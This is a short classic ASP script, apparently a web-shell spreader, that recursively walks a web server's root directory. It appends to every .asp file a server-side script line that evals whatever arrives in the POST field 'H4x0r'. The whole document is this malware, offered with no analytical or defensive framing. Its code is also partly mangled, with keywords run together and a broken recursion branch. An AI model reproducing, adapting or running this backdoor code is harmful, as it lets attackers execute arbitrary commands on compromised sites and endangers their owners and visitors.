<%

dimph

dimintfile

server.ScriptTimeout=600

ph=server.mappath("/")

SubInsertAllFiles(Path)

SetFSO=CreateObject("Scripting.FileSystemObject")

onerrorresumenext

Setf=FSO.GetFolder(Path)

Setfc2=f.files

ForEachmyfileinfc2

Iflcase(FSO.GetExtensionName(path&""&myfile.name))="asp"then

SetFS1=CreateObject("Scripting.FileSystemObject")

Settfile=FS1.opentextfile(path&""&myfile.name,8,false)

tfile.writeline"<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"

else

InsertAllFiles(newpath)

endif

tfile.close

Next

Setfsubfolers=f.SubFolders

ForEachf1infsubfolers

newpath=path&""&f1.name

InsertAllFiles(newpath)

Next

settfile=nothing

SetFSO=Nothing

EndSub

%>

<%

callInsertAllFiles(ph)

%>